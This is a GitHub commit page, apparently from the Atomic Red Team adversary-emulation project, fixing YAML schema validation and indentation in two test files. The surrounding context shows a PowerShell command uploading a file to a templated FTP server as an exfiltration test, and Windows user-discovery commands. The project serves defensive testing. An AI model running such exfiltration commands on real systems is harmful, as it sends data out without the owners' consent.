Skip to content

Commit

Permalink
Fix schema validation
Browse files Browse the repository at this point in the history
  • Loading branch information
cyberbuff committed Jan 20, 2024
1 parent f6fc008 commit 03066ab
Show file tree
Hide file tree
Showing 3 changed files with 5 additions and 5 deletions.
4 changes: 2 additions & 2 deletions atomics/T1020/T1020.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -57,5 +57,5 @@ atomic_tests:
$ftpUrl = "#{ftpServer}"
$creds = Get-Credential -Credential "#{credentials}"
Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds
cleanup_command: |
Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore
cleanup_command: |
Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore
5 changes: 2 additions & 3 deletions atomics/T1033/T1033.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -111,7 +111,6 @@ atomic_tests:
description: "Identify the system owner or current user using native Windows command prompt utilities."
supported_platforms:
- "windows"
auto_generated_guid: 35b88076-7edb-4eb5-bdc5-11ede7f45c6a
input_arguments:
output_file_path:
description: "Location of output file."
Expand All @@ -126,5 +125,5 @@ atomic_tests:
echo User Domain: %USERDOMAIN% >> %file%
net users >> %file%
query user >> %file%
cleanup_command: |
del #{output_file_path}\\user_info_*.tmp
cleanup_command: |
del #{output_file_path}\\user_info_*.tmp
1 change: 1 addition & 0 deletions bin/validate/atomic-red-team.schema.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@ properties:
$defs:
test:
type: object
additionalProperties: false
required:
- name
- description
Expand Down

0 comments on commit 03066ab

Please sign in to comment.